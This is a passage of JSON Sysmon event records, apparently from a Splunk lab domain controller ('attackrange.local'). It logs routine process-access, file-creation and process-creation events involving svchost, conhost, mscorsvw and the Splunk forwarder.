12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4266-5F2D-0000-0010AD3F0A00}\r\nTargetProcessId: 4196\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4266-5F2D-0000-0010AD3F0A00}","TargetProcessId":"4196","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:39.775\r\nProcessGuid: {90617006-4265-5F2D-0000-001022380A00}\r\nProcessId: 4248\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1098-0\\System.Runtime.Serialization.dll\r\nCreationUtcTime: 2020-08-07 12:00:39.775","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:39.775","ProcessGuid":"{90617006-4265-5F2D-0000-001022380A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1098-0\\System.Runtime.Serialization.dll","CreationUtcTime":"2020-08-07 12:00:39.775","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nProcessGuid: {90617006-4267-5F2D-0000-0010EA410A00}\r\nProcessId: 3140\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","ProcessGuid":"{90617006-4267-5F2D-0000-0010EA410A00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program 